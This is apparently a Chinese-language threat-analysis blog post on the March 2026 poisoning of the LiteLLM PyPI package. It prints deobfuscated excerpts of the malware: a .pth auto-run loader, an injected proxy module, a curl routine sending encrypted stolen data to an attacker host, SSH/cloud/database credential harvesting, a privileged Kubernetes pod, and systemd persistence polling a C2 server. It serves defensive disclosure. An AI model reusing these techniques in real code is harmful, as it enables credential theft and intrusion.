2026年3月24日,作为AI开发核心枢纽的 litellm 网关遭遇供应链投毒攻击,大量使用者的密钥与敏感信息被窃取,再次暴露出当前 AI 供应链体系的安全隐患。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。

1. LiteLLM被投毒事件回顾

1.1 LiteLLM简介及攻击回顾

LiteLLM 作为 AI 网关,能够代理 100 多种大语言模型(LLM)的 API,被广泛应用于 AI 编程与服务编排场景。目前其在 GitHub 上拥有超过 4 万 Star,在 PyPI 的月下载量也超过 9600 万次。

2026 年 3 月 24 日,LiteLLM 在 PyPI 上遭遇供应链投毒攻击,1.82.7 与 1.82.8 两个版本被植入恶意代码。攻击代码会自动窃取受害者机器中的多类敏感凭据,包括 SSH 密钥、AWS/GCP/Azure 云服务凭据以及 Kubernetes Token 等。目前相关恶意版本已被官方移除。

image-20260325153157666

1.2 恶意代码中的bug导致攻击露出马脚

此次投毒事件最早由 FutureSearch 发现并上报 PyPI,随后相关恶意版本被迅速下架,整体存活时间约为 5 小时。FutureSearch 在其博客中披露了事件细节[1],而此次攻击的暴露,恰恰源于攻击者代码中的一个逻辑缺陷。

image-20260325161740054

恶意代码被植入在 .pth 文件中。由于 Python 在启动时会自动执行 .pth 文件中的代码,攻击载荷在解释器启动阶段即被触发。该恶意代码通过启动子进程执行 payload,而子进程再次触发 .pth 执行,形成类似“分支炸弹”的效果,迅速耗尽系统资源,从而引起研究人员注意。

一次本可长期潜伏的供应链攻击,也因此被意外暴露并及时阻断。

litellm_init.pth

1
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN....'))"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

1.3 AI供应链安全的脆弱性

根据 Snyk 的分析报告[2],此次攻击由 TeamPCP 组织发起。攻击者通过入侵 LiteLLM CI/CD 流程中使用的开源安全扫描工具 Trivy,获取了维护者的 PyPI 发布凭证,并利用该凭证发布了包含恶意载荷的 1.82.7 与 1.82.8 版本。

此次事件导致大量敏感凭据被窃取,受影响用户需要立即吊销并替换相关密钥,以避免后续风险扩散。

image-20260325172949830

OpenAI的创始人之一Andrej Karpathy也对此次事件表达了担忧。他指出,现代软件项目往往依赖复杂的依赖链条,一旦其中任意环节被污染,风险将迅速传导至整个系统。攻击者通过不断窃取凭据,可以持续扩大攻击范围,实现级联放大效应。

image-20260325173411059

例如,当前流行的 MCP 工具 browser-use 在 GitHub 上拥有超过 8 万 Star,其依赖链中包含 litellm。在攻击窗口期内使用该工具,可能直接导致用户被攻击。此外,browser-use 官方推荐使用 uvx 启动 MCP 服务,而 uvx 每次执行都会重新拉取依赖,这进一步放大了攻击影响。目前该项目已移除相关恶意依赖。

image-20260325175119199

2. 攻击原理解析

2.1 攻击复现

litellm-1.82.8 通过 .pth 文件加载恶意载荷,使攻击代码在 Python 启动时自动执行。我们复现了相关攻击流程如下:

realize

通过分析其 pyproject.toml,可以发现 litellm_init.pth 被显式打包,在用户安装后会被放置到 site-packages 目录中。

realize

pyproject.toml

realize

2.2 原理解析

通过分析 CPython 源码可以发现,Python 在启动时会自动加载 site 模块,该模块负责初始化运行环境并加载 site-packages 目录。

site

进一步分析 site.py 可知,其会扫描并执行 site-packages 目录下所有 .pth 文件中的 import 语句。因此,攻击者无需任何用户交互,即可在安装完成后自动触发恶意代码执行。

site

litellm_init.pth

1
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN....'))"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

3. 攻击代码解析

3.1 两种注入方式

两个恶意版本的注入方式存在差异:

  • 1.82.7:在 litellm/proxy/proxy_server.py 中注入代码
  • 1.82.8:通过 .pth 文件在启动阶段执行

litellm/proxy/proxy_server.py

1
2
3
4
5
6
7
8
9
10
11
12
...
import subprocess, base64, sys, tempfile, os

b64_payload = "aW1wb3J0IHN1YnBy..."
with tempfile.TemporaryDirectory() as d:
p = os.path.join(d, "p.py")
with open(p, "wb") as f:
f.write(base64.b64decode(b64_payload))

subprocess.run([sys.executable, p])
...

litellm/proxy/__init__.py

1
from . import *

proxy 模块被导入时,恶意代码即被执行。

3.2 恶意代码解析

通过对litellm_init.pth中的恶意代码进行反混淆,我们获得了如下代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import subprocess
import tempfile
import os
import base64
import sys

PUB_KEY_CONTENT = """-----BEGIN PUBLIC KEY-----
MIICIj...AAQ==
-----END PUBLIC KEY-----"""

B64_SCRIPT =
"aW1wb3J0IG9zLH..."

def run():
...
try:
subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)
subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL)
subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"], check=True, stderr=subprocess.DEVNULL)
subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True)

subprocess.run([
"curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST",
"https[:]//models.litellm.cloud/",
"-H", "Content-Type: application/octet-stream",
"-H", "X-Filename: tpcp.tar.gz",
"--data-binary", f"@{bn}"
], check=True, stderr=subprocess.DEVNULL)
except Exception:
pass

从中我们可以看到,攻击者使用RSA公钥加密会话密钥,通过AES-256-CBC加密窃取的数据,最终打包为tar.gz并通过curl外传到 https[:]//models.litellm.cloud/,其为攻击者控制的一个网址。 其具体执行的恶意代码,仍然被base64编码混淆,再次反混淆后,我们得到了最终的攻击脚本,如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os,sys,stat,subprocess,glob
...
run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')
run('printenv')
...
for h in homes+['/root']:
for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa','/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']:
emit(h+f)
walk([h+'/.ssh'],2,lambda fp,fn:True)
...
emit('/var/lib/postgresql/.pgpass')
emit('/etc/mysql/my.cnf')
emit('/etc/redis/redis.conf')
...

具体攻击逻辑如下:

  1. 系统信息收集

    1
    2
    run('hostname; pwd; whoami; uname -a; ip addr...')
    run('printenv')
  2. 多维度凭据窃取

  • SSH密钥: ~/.ssh/id_rsa, id_ed25519, authorized_keys
  • 云服务凭据: AWS(~/.aws/credentials)、GCP(~/.config/gcloud)、Azure(~/.azure)
  • Kubernetes: /var/run/secrets/kubernetes.io/serviceaccount/token,
    kubeconfig
  • 数据库: .pgpass, .my.cnf, Redis/Mongo配置
  • Docker: ~/.docker/config.json
  • 加密货币钱包: Bitcoin、Ethereum、Solana等密钥文件
  1. AWS凭据深度利用

    通过IMDSv2获取实例角色临时凭据,并调用Secrets Manager和SSM Parameter Store:

    1
    2
    3
    4
    tkn_req=urllib.request.Request('http[:]//169.254.169.254/latest/api/token', ...)
    cred_req=urllib.request.Request('http[:]//169.254.169.254/latest/meta-data/iam/s
    ecurity-credentials/', ...)
    sm=aws_req('POST','secretsmanager',REG,'/','Action=ListSecrets',...)
  2. Kubernetes集群渗透
    利用ServiceAccount Token横向移动,枚举全集群Secrets,并在每个节点部署特权Pod实现持久化:

    1
    2
    3
    4
    5
    6
    7
    pod_manifest={
    'hostPID':True,'hostNetwork':True,
    'tolerations':[{'operator':'Exists'}],
    'securityContext':{'privileged':True},
    'volumeMounts':[{'name':'host','mountPath':'/host'}]
    }
    k8s_post('/api/v1/namespaces/kube-system/pods',pod_manifest)
  3. 持久化机制
    通过systemd用户服务安装后门,定期从C2 (checkmarx.zone) 获取指令:

    1
    PERSIST_B64='aW1wb3J0IHVybGxpYi5yZXF1ZXN0...'  # 解码后为下载执行器

    创建 ~/.config/sysmon/sysmon.py 和 systemd服务

    1
    subprocess.run(['systemctl','--user','enable','--now','sysmon.service'])

3.3 攻击总结

该样本为云原生环境下的高级持续性威胁(APT)工具,具备以下特征:

  • 针对多云平台(AWS/GCP/Azure/K8s)的凭据窃取
  • 利用容器逃逸和特权Pod实现集群内横向移动
  • 加密外传+后门持久化的完整攻击链
  • 伪装成”System Telemetry Service”隐藏痕迹

4. 总结

此次针对 LiteLLM 的 PyPI 供应链投毒事件,再次暴露了当前 AI 生态在安全层面的脆弱性。尽管 AI 正在深刻改变我们的工作方式与生活模式,但其底层仍依赖于由大量基础代码构成的工具链,例如 agent、MCP 等组件。一旦其中任意环节遭到攻击,影响便可能迅速放大,给用户带来难以估量的损失。与此同时,AI 系统正逐渐具备更高权限,能够自动执行代码、下载并安装依赖,这在提升效率的同时,也显著扩大了潜在攻击面。在这样的背景下,安全责任的边界变得愈发模糊:是依赖平台治理、开发者自律,还是需要引入以 AI 对抗 AI 的自动化防御机制,这些都值得深入思考。此外,密钥窃取问题尤为值得警惕。一旦攻击者获取有效凭证,便可持续扩大攻击范围,形成连锁风险。因此,密钥管理与访问控制同样应成为 AI 供应链安全的重要防线。

AI 正如一列高速飞驰的列车,推动社会不断向前发展。但若忽视其底层结构的安全隐患,哪怕是一个看似不起眼的“轴承”出现问题,也可能带来系统性的风险。如何在加速创新的同时筑牢安全底座,将是未来 AI 发展过程中必须正视的关键课题。

恶意包列表

包名 版本 上传时间 删除时间
litellm 1.82.7 UTC 2026-03-24 10:39:24 UTC 2026-03-24 15:20:24
litellm 1.82.8 UTC 2026-03-24 10:52:19 UTC 2026-03-24 15:20:13

参考文献

[1] Supply Chain Attack in litellm 1.82.8 on PyPI. https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/

[2] How a Poisoned Security Scanner Became the Key to Backdooring LiteLLM. http://snyk.io/articles/poisoned-security-scanner-backdooring-litellm/